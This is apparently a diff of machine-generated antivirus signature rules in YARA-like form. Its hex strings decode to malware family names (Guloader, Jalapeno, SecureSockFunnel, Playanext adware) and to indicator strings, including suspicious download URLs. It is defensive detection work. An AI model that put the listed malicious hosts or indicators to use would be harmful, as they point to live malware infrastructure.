+ $a_61_1 = {65 6c 20 70 68 79 6c 6c 6f 73 74 61 63 68 79 73 01 00 22 81 01 70 75 6c 76 65 72 65 6f 75 73 20 68 65 6c 62 72 65 64 73 67 72 75 6e 64 65 73 20 64 69 73 63 6f 69 64 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 48 30 31 21 4d 54 } //29541 + $a_00_2 = {1d } //66 + $a_65_3 = {7a 69 6e 64 75 6e 6b 65 20 6e 65 6d 68 65 64 73 20 65 76 65 6e 62 6c 75 73 68 01 00 24 81 01 73 6b 69 66 74 65 64 61 67 65 6e 73 20 73 65 6d 69 70 72 6f 66 65 73 73 69 6f 6e 61 6c 73 20 70 65 64 65 6e 01 00 19 81 01 66 75 6c 64 73 6b 61 62 20 67 72 61 6e 64 73 74 61 6e 64 65 72 2e 65 78 65 01 } //385 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29541+(#a_00_2 & 1)*21581+(#a_65_3 & 1)*28265) >=4 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29541+(#a_00_2 & 1)*66+(#a_65_3 & 1)*385) >=4 } -rule _InfrastructureShared_10833{ +rule _InfrastructureShared_11529{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 48 30 31 21 4d 54 42 00 01 00 1d 81 01 62 65 6e 7a 69 6e 64 75 6e 6b 65 20 6e 65 6d 68 65 64 73 20 65 76 65 6e 62 6c 75 73 68 01 00 24 81 01 73 6b 69 66 74 65 64 61 67 65 6e 73 20 73 65 6d 69 70 } //18467 + $a_65_1 = {73 69 6f 6e 61 6c 73 20 70 65 64 65 6e 01 00 19 81 01 66 75 6c 64 73 6b 61 62 20 67 72 61 6e 64 73 74 61 6e 64 65 72 2e 65 78 65 01 00 07 81 01 61 73 73 69 6e 67 73 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 53 31 32 33 21 4d 54 42 00 01 } //28530 + $a_01_2 = {69 6e 73 70 69 72 61 74 69 76 65 20 69 64 69 6f 70 61 74 68 69 65 73 20 74 75 62 65 72 63 75 6c 6f 74 68 65 72 61 70 79 01 00 17 81 01 66 72 65 65 64 6f 6d 73 20 73 6f 6c 69 74 72 72 69 6e 67 65 6e 65 73 01 00 0a 81 01 75 6e 63 6c 65 6e 63 68 65 64 01 00 16 81 01 72 65 64 75 78 20 66 6f 75 6e 74 61 69 6e 20 64 69 61 6b 6f 6e 73 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a } //10240 + $a_33_3 = {2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 4a 31 32 33 21 4d 54 42 00 01 00 17 81 01 73 69 63 63 61 6e 74 20 63 65 72 65 75 73 65 73 20 61 73 69 64 65 6e 01 00 17 81 01 72 65 76 69 64 65 72 69 6e 67 73 20 64 65 6d 6f 67 72 61 66 65 6e 73 01 00 0a 81 01 62 65 6c 6e 6e 69 6e 67 65 6e 01 00 27 81 01 73 79 70 68 69 6c 6f 70 73 79 63 68 } //26967 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28530+(#a_01_2 & 1)*10240+(#a_33_3 & 1)*26967) >=4 + +} +rule _InfrastructureShared_11530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118412,7 +126165,7 @@ rule _InfrastructureShared_10833{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28015+(#a_75_2 & 1)*29285) >=4 } -rule _InfrastructureShared_10834{ +rule _InfrastructureShared_11531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118424,7 +126177,7 @@ rule _InfrastructureShared_10834{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_01_3 & 1)*6144) >=4 } -rule _InfrastructureShared_10835{ +rule _InfrastructureShared_11532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118437,7 +126190,7 @@ rule _InfrastructureShared_10835{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24946+(#a_63_2 & 1)*28515+(#a_3a_3 & 1)*21587) >=4 } -rule _InfrastructureShared_10836{ +rule _InfrastructureShared_11533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118449,7 +126202,7 @@ rule _InfrastructureShared_10836{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25376+(#a_69_2 & 1)*385) >=4 } -rule _InfrastructureShared_10837{ +rule _InfrastructureShared_11534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118462,7 +126215,7 @@ rule _InfrastructureShared_10837{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27760+(#a_75_2 & 1)*27506+(#a_73_3 & 1)*14930) >=4 } -rule _InfrastructureShared_10838{ +rule _InfrastructureShared_11535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118475,7 +126228,7 @@ rule _InfrastructureShared_10838{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*26982+(#a_69_2 & 1)*27246+(#a_00_3 & 1)*72) >=4 } -rule _InfrastructureShared_10839{ +rule _InfrastructureShared_11536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -118484,12 +126237,12 @@ rule _InfrastructureShared_10839{ $a_6a_1 = {69 62 2e 64 6c 6c 01 00 1a 01 53 00 75 00 70 00 65 00 72 00 48 00 6f 00 6f 00 6b 00 50 00 72 00 6f 00 63 00 01 00 16 01 53 00 48 00 50 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 00 00 78 9d 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 48 53 54 52 3a 53 75 70 65 72 4e 6f 76 61 2e 57 65 62 73 68 65 6c 6c 2e 41 00 01 00 19 01 } //18798 $a_70_2 = {6c 65 41 73 73 65 6d 62 6c 79 46 72 6f 6d 53 6f 75 72 63 65 01 00 12 01 43 6f 6d 70 69 6c 65 72 50 61 72 61 6d 65 74 65 72 73 01 00 0a 01 44 79 6e 61 6d 69 63 52 75 6e 01 00 0a 00 63 00 6c 00 61 00 7a 00 7a 00 01 00 0a 00 63 00 6f 00 64 00 65 00 73 00 01 00 14 00 74 00 65 00 78 00 74 00 2f 00 70 00 6c 00 61 00 69 00 6e 00 00 } //28483 $a_00_3 = {00 04 00 04 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 65 63 75 72 65 53 6f 63 6b 46 75 6e 6e 65 6c 2e 41 00 01 00 13 01 22 63 61 5f 63 65 72 74 5f 62 75 66 66 65 72 22 3a 20 22 01 00 10 01 22 63 65 72 74 5f 62 75 66 66 65 72 22 3a 20 22 01 00 0f 01 22 6b 65 79 5f 62 75 66 66 65 72 22 3a 20 22 01 00 0f 01 22 63 69 70 68 65 72 5f 61 6c 67 22 3a 20 22 01 00 0c 01 22 73 6f 63 6b 73 22 3a 20 7b 20 22 01 00 08 01 22 73 73 66 22 3a 20 7b 00 } //30720 - $a_00_4 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 44 44 41 21 4d 54 42 00 04 00 5a 03 11 05 17 6f 90 01 01 00 00 0a 00 11 05 18 6f 90 01 01 00 00 0a 00 11 05 20 00 01 00 00 6f 90 01 01 00 00 0a 00 11 05 20 80 00 00 00 6f 90 01 01 00 00 0a 00 11 05 06 07 6f 90 01 01 00 00 0a 13 06 11 06 08 16 08 8e 69 6f 90 01 01 00 00 0a 73 14 00 00 06 13 07 de 0d 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 } //30720 + $a_00_4 = {00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 39 33 00 01 00 0f 80 01 49 6e 69 74 69 61 6c 69 7a 65 4f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 14 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 2e 68 74 6d 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*18798+(#a_70_2 & 1)*28483+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=4 } -rule _InfrastructureShared_10840{ +rule _InfrastructureShared_11537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -118501,20 +126254,49 @@ rule _InfrastructureShared_10840{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*17409+(#a_75_3 & 1)*24436) >=4 } -rule _InfrastructureShared_10841{ +rule _InfrastructureShared_11538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 65 63 75 72 65 53 6f 63 6b 46 75 6e 6e 65 6c 2e 41 00 01 00 13 01 22 63 61 5f 63 65 72 74 5f 62 75 66 66 65 72 22 3a 20 22 01 00 10 01 22 63 65 72 74 5f 62 75 66 66 65 72 22 3a 20 } //16675 - $a_65_2 = {5f 62 75 66 66 65 72 22 3a 20 22 01 00 0f 01 22 63 69 70 68 65 72 5f 61 6c 67 22 3a 20 22 01 00 0c 01 22 73 6f 63 6b 73 22 3a 20 7b 20 22 01 00 08 01 22 73 73 66 22 3a 20 7b 00 00 78 9d 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 44 44 41 21 4d 54 42 00 04 } //8705 - $a_11_3 = {17 6f 90 } //23040 - $a_05_5 = {18 6f 90 01 01 00 00 0a 00 11 05 20 00 01 00 00 6f } //10 + $a_65_2 = {5f 62 75 66 66 65 72 22 3a 20 22 01 00 0f 01 22 63 69 70 68 65 72 5f 61 6c 67 22 3a 20 22 01 00 0c 01 22 73 6f 63 6b 73 22 3a 20 7b 20 22 01 00 08 01 22 73 73 66 22 3a 20 7b 00 00 78 9d 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 39 33 00 01 } //8705 + $a_01_3 = {49 6e 69 74 69 61 6c 69 7a 65 4f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 14 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 2e 68 74 6d 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 9d 00 00 05 00 04 00 05 00 21 23 48 53 54 52 3a 57 } //3840 + $a_32_4 = {47 75 6c 6f 61 64 65 72 2e 4b 49 49 36 31 34 21 4d 54 42 00 01 00 11 81 01 73 65 6d 69 73 65 63 6f 6e 64 61 72 79 2e 65 78 65 01 00 22 81 01 6b 76 69 76 } //28265 + $a_6e_5 = {73 20 6c 6f 72 64 6c 69 6c 79 20 62 61 6c 6b 61 76 61 6c 65 72 65 72 6e 65 01 00 08 81 01 74 69 6e 67 67 69 61 6e 01 00 06 81 01 54 41 2e 64 6c 6c 01 00 1a 81 01 53 48 47 65 74 53 70 65 63 69 61 6c 46 6f 6c 64 65 72 4c 6f 63 61 74 69 6f 6e 00 00 78 9d 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f } //27745 condition: - ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*8705+(#a_11_3 & 1)*23040+(#a_05_5 & 1)*10) >=4 + ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*8705+(#a_01_3 & 1)*3840+(#a_32_4 & 1)*28265+(#a_6e_5 & 1)*27745) >=4 } -rule _InfrastructureShared_10842{ +rule _InfrastructureShared_11539{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 39 33 00 01 00 0f 80 01 49 6e 69 74 69 61 6c 69 7a 65 4f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 } //16675 + $a_6c_1 = {66 66 65 72 01 00 14 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 2e 68 74 6d 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 9d 00 00 05 00 04 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b } //28271 + $a_31_2 = {21 4d 54 42 00 01 00 11 81 01 73 65 6d 69 73 65 63 6f 6e 64 61 72 79 2e 65 78 65 01 00 22 81 01 6b 76 69 76 61 6c 65 6e 74 73 20 6c 6f 72 64 6c 69 6c 79 20 62 61 } //18761 + $a_76_3 = {6c 65 72 65 72 6e 65 01 00 08 81 01 74 69 6e 67 67 69 61 6e 01 00 06 81 01 54 41 2e 64 6c 6c 01 00 1a 81 01 53 48 47 65 74 53 70 65 63 69 61 6c 46 6f 6c 64 65 72 4c 6f 63 61 74 69 6f 6e 00 00 78 9d 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 } //27500 + $a_2e_4 = {44 44 41 21 4d 54 42 00 04 00 5a 03 11 05 17 6f 90 01 01 00 00 0a 00 11 05 18 6f 90 01 01 00 00 0a 00 11 05 20 00 01 00 00 6f 90 01 01 00 00 0a 00 11 05 20 80 00 00 00 6f 90 01 01 00 00 0a 00 11 05 06 07 6f 90 01 01 00 00 0a 13 06 11 06 08 16 08 8e 69 6f 90 01 01 00 00 0a 73 14 00 00 06 13 07 de 0d 90 00 01 00 0f 01 43 72 65 61 74 } //28261 + $a_63_5 = {79 70 74 6f 72 00 00 78 9d 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 01 00 31 80 01 6e 65 77 2e 65 76 65 6e 74 61 77 61 72 64 73 72 75 73 73 69 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 49 76 } //17509 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28271+(#a_31_2 & 1)*18761+(#a_76_3 & 1)*27500+(#a_2e_4 & 1)*28261+(#a_63_5 & 1)*17509) >=4 + +} +rule _InfrastructureShared_11540{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 36 31 34 21 4d 54 42 00 01 00 11 81 01 73 65 6d 69 73 65 63 6f 6e 64 61 72 79 2e 65 78 65 01 00 22 81 01 6b 76 69 76 61 6c 65 6e 74 73 20 6c 6f 72 64 6c 69 6c 79 20 62 61 6c 6b 61 76 61 6c 65 } //18467 + $a_6e_1 = {01 00 08 81 01 74 69 6e 67 67 69 61 6e 01 00 06 81 01 54 41 2e 64 6c 6c 01 00 1a 81 01 53 48 47 65 74 53 70 65 63 69 61 6c 46 6f 6c 64 65 72 4c 6f 63 61 74 69 6f 6e 00 00 78 9d 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 44 44 41 21 4d 54 42 00 04 00 5a 03 11 05 17 6f 90 01 01 } //25970 + $a_00_2 = {11 05 18 6f 90 01 01 00 00 0a } //0 + $a_20_3 = {01 00 00 6f 90 } //4352 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25970+(#a_00_2 & 1)*0+(#a_20_3 & 1)*4352) >=4 + +} +rule _InfrastructureShared_11541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -118525,7 +126307,7 @@ rule _InfrastructureShared_10842{ ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*10) >=5 } -rule _InfrastructureShared_10843{ +rule _InfrastructureShared_11542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -118537,7 +126319,7 @@ rule _InfrastructureShared_10843{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*27747+(#a_00_2 & 1)*21325) >=5 } -rule _InfrastructureShared_10844{ +rule _InfrastructureShared_11543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -118546,12 +126328,12 @@ rule _InfrastructureShared_10844{ $a_01_1 = {74 78 74 2e 76 2f 6b 74 2e 6b 6f 6f 62 76 72 65 73 2f 2f 3a 70 01 00 18 80 01 74 78 74 2e 76 2f 6b 74 2e 6b 6f 6f 62 76 72 65 73 2f 2f 3a 70 74 74 68 01 00 08 80 01 68 6f 72 69 2e 65 78 65 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 52 65 64 53 75 73 68 69 2e 42 21 64 68 61 00 01 00 19 01 4d 69 } //5376 $a_73_2 = {66 74 2e 43 52 54 36 34 2e 4c 61 75 6e 63 68 65 72 5c 01 00 0a 01 4d 46 50 6c 61 74 2e 64 6c 6c 01 00 0c 01 6d 70 63 6c 69 65 6e 74 2e 64 6c 6c 01 00 15 01 6c 69 62 76 6c 63 5f 73 65 74 5f 75 73 65 72 5f 61 67 65 6e 74 01 00 0e 01 4e 64 72 43 6c 69 65 6e 74 43 61 6c 6c 32 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 } //29283 $a_6e_3 = {32 2f 41 72 63 61 64 65 57 65 62 00 01 00 13 01 41 57 20 52 65 67 69 73 74 72 79 20 72 65 6d 6f 76 61 6c 01 00 19 03 61 72 63 61 64 65 77 65 62 66 69 72 65 66 6f 78 90 02 01 2e 64 6c 6c 90 00 01 00 12 01 25 73 5c 61 72 63 61 64 65 77 65 62 33 32 2e 64 6c 6c 01 00 1e 01 61 77 5f 69 6e 73 74 61 6c 6c 5f 75 6e 69 6e } //22330 - $a_6c_4 = {5f 73 61 66 65 67 75 61 72 64 01 00 0c 01 41 57 47 41 4d 45 43 4f 4e 46 49 47 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 75 64 75 65 6c 69 67 73 74 65 73 20 67 61 6c 69 70 6f 74 01 } //29811 + $a_6c_4 = {5f 73 61 66 65 67 75 61 72 64 01 00 0c 01 41 57 47 41 4d 45 43 4f 4e 46 49 47 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 51 30 31 21 4d 54 42 00 01 00 0e 81 01 61 6b 6b 75 6d 75 6c 61 74 6f 72 65 6e 73 01 00 11 81 01 6f 6d 74 } //29811 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5376+(#a_73_2 & 1)*29283+(#a_6e_3 & 1)*22330+(#a_6c_4 & 1)*29811) >=5 } -rule _InfrastructureShared_10845{ +rule _InfrastructureShared_11544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -118560,26 +126342,52 @@ rule _InfrastructureShared_10845{ $a_74_1 = {64 6c 6c 01 00 0c 01 6d 70 63 6c 69 65 6e 74 2e 64 6c 6c 01 00 15 01 6c 69 62 76 6c 63 5f 73 65 74 5f 75 73 65 72 5f 61 67 65 6e 74 01 00 0e 01 4e 64 72 43 6c 69 65 6e 74 43 61 6c 6c 32 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 } //27728 $a_00_2 = {13 } //98 $a_20_3 = {65 67 69 73 74 72 79 20 72 65 6d 6f 76 61 6c 01 00 19 03 61 72 63 61 64 65 77 65 62 66 69 72 65 66 6f 78 90 02 01 2e 64 6c 6c 90 00 01 00 12 01 25 73 5c 61 72 63 61 64 65 77 65 62 33 32 2e 64 6c 6c 01 00 1e 01 61 77 5f 69 6e 73 74 61 6c 6c 5f 75 6e 69 6e 73 74 } //16641 - $a_5f_4 = {61 66 65 67 75 61 72 64 01 00 0c 01 41 57 47 41 4d 45 43 4f 4e 46 49 47 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 75 64 75 65 6c 69 67 73 74 65 73 20 67 61 6c 69 70 6f 74 01 00 15 81 01 68 65 73 74 65 68 61 61 72 } //27745 + $a_5f_4 = {61 66 65 67 75 61 72 64 01 00 0c 01 41 57 47 41 4d 45 43 4f 4e 46 49 47 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 51 30 31 21 4d 54 42 00 01 00 0e 81 01 61 6b 6b 75 6d 75 6c 61 74 6f 72 65 6e 73 01 00 11 81 01 6f 6d 74 61 6c 65 72 6e 65 20 77 68 69 6e 64 6c } //27745 condition: ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*27728+(#a_00_2 & 1)*98+(#a_20_3 & 1)*16641+(#a_5f_4 & 1)*27745) >=5 } -rule _InfrastructureShared_10846{ +rule _InfrastructureShared_11545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 62 00 01 00 13 01 41 57 20 52 65 67 69 73 74 72 79 20 72 65 6d 6f 76 61 6c 01 00 19 03 61 72 63 61 64 65 77 65 62 66 69 72 65 66 6f 78 90 02 01 2e 64 6c 6c 90 00 01 00 12 01 25 73 5c 61 72 63 61 64 65 77 65 62 33 32 2e 64 6c 6c 01 00 1e 01 61 77 5f } //16675 - $a_74_1 = {6c 6c 5f 75 6e 69 6e 73 74 61 6c 6c 5f 73 61 66 65 67 75 61 72 64 01 00 0c 01 41 57 47 41 4d 45 43 4f 4e 46 49 47 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 75 64 75 65 6c 69 67 73 74 65 73 20 67 61 6c 69 70 6f 74 01 00 15 81 01 68 65 } //28265 - $a_68_2 = {61 72 65 6e 65 20 70 65 74 61 6c 69 73 6d 01 00 09 81 01 69 6e 64 74 61 6c 69 6e 67 01 00 07 81 01 75 62 61 61 64 65 73 01 00 22 81 01 6f 70 73 61 6d 6c 69 6e 67 65 72 73 20 73 72 67 65 6d 61 72 63 68 73 20 73 70 6e 64 65 74 72 6a 65 6e 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e } //29811 - $a_47_3 = {6c 6f 61 64 65 72 2e 4b 53 41 4d 31 32 33 21 4d 54 42 00 01 00 12 81 01 6f 72 69 62 61 74 69 64 73 20 68 61 6c 76 74 6f 6e 65 01 00 18 81 01 } //12851 - $a_65_4 = {6f 63 6f 6e 6a 75 6e 63 74 69 76 61 6c 20 76 65 6a 62 79 01 00 08 81 01 68 61 62 65 6e 67 75 74 01 00 11 81 01 74 66 6c 65 72 6e 65 20 70 79 72 61 63 61 6e 74 68 01 00 17 81 01 76 69 6c 64 6e 69 73 73 65 72 6e 65 20 74 72 69 75 6d 66 65 72 65 72 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //25459 + $a_74_1 = {6c 6c 5f 75 6e 69 6e 73 74 61 6c 6c 5f 73 61 66 65 67 75 61 72 64 01 00 0c 01 41 57 47 41 4d 45 43 4f 4e 46 49 47 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 51 30 31 21 4d 54 42 00 01 00 0e 81 01 61 6b 6b 75 6d 75 6c 61 74 6f 72 65 6e 73 01 00 11 81 01 6f 6d 74 61 6c 65 72 6e 65 } //28265 + $a_69_2 = {64 6c 65 01 00 0b 81 01 74 68 65 69 73 74 73 2e 65 78 65 01 00 1d 81 01 61 61 6e 64 65 64 72 61 67 65 74 73 20 66 72 75 6d 69 6f 75 73 20 62 69 70 61 63 6b 73 01 00 15 81 01 66 6f 72 64 6f 6d 6d 65 20 74 75 6e 67 65 74 61 6c 65 72 65 6e 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //30496 + $a_6f_3 = {64 65 72 2e 47 4f 51 30 31 21 4d 54 42 00 01 00 19 81 01 72 6f 64 66 6f 72 64 72 76 65 72 6e 65 20 6c 65 67 69 74 69 6d 69 7a 65 64 01 00 12 81 01 61 64 76 6f 6b 65 72 65 6e 64 65 20 63 6c 69 76 65 73 01 00 0b 81 01 66 6c 73 6b 65 73 6d 61 61 6b 64 01 00 1e 81 01 6d 65 6e 75 62 69 6c 6c 65 64 65 72 6e 65 73 20 75 6e 64 65 } //30023 + $a_69_4 = {67 65 72 6e 65 01 00 08 81 01 62 72 6f 6d 2e 65 78 65 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 75 64 75 65 6c 69 67 73 74 65 73 20 67 61 6c 69 70 6f 74 01 00 15 81 01 68 65 73 74 65 68 61 61 72 65 6e 65 20 70 65 74 61 6c 69 73 6d } //26226 condition: - ((#a_77_0 & 1)*16675+(#a_74_1 & 1)*28265+(#a_68_2 & 1)*29811+(#a_47_3 & 1)*12851+(#a_65_4 & 1)*25459) >=5 + ((#a_77_0 & 1)*16675+(#a_74_1 & 1)*28265+(#a_69_2 & 1)*30496+(#a_6f_3 & 1)*30023+(#a_69_4 & 1)*26226) >=5 } -rule _InfrastructureShared_10847{ +rule _InfrastructureShared_11546{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 51 30 31 21 4d 54 42 00 01 00 0e 81 01 61 6b 6b 75 6d 75 6c 61 74 6f 72 65 6e 73 01 00 11 81 01 6f 6d 74 61 6c 65 72 6e 65 20 77 68 69 6e 64 6c 65 01 00 0b 81 01 74 68 65 69 73 74 73 2e 65 78 65 } //18467 + $a_81_1 = {61 61 6e 64 65 64 72 61 67 65 74 73 20 66 72 75 6d 69 6f 75 73 20 62 69 70 61 63 6b 73 } //1 aandedragets frumious bipacks + $a_81_2 = {66 6f 72 64 6f 6d 6d 65 20 74 75 6e 67 65 74 61 6c 65 72 65 6e } //1 fordomme tungetaleren + $a_9d_3 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 51 30 31 21 4d 54 42 00 01 00 19 81 01 72 6f 64 66 6f 72 64 72 76 65 72 6e 65 20 6c 65 67 69 74 69 6d 69 7a 65 64 01 00 12 81 01 61 64 76 6f 6b 65 72 65 6e 64 65 20 63 6c 69 76 65 73 01 00 0b 81 01 66 6c 73 6b 65 73 6d 61 61 6b 64 01 00 1e 81 01 6d 65 6e 75 62 69 6c } //0 + $a_65_4 = {6e 65 73 20 75 6e 64 65 72 66 72 69 6e 67 65 72 6e 65 01 00 08 81 01 62 72 6f 6d 2e 65 78 65 00 00 78 9d 00 00 05 00 05 00 05 00 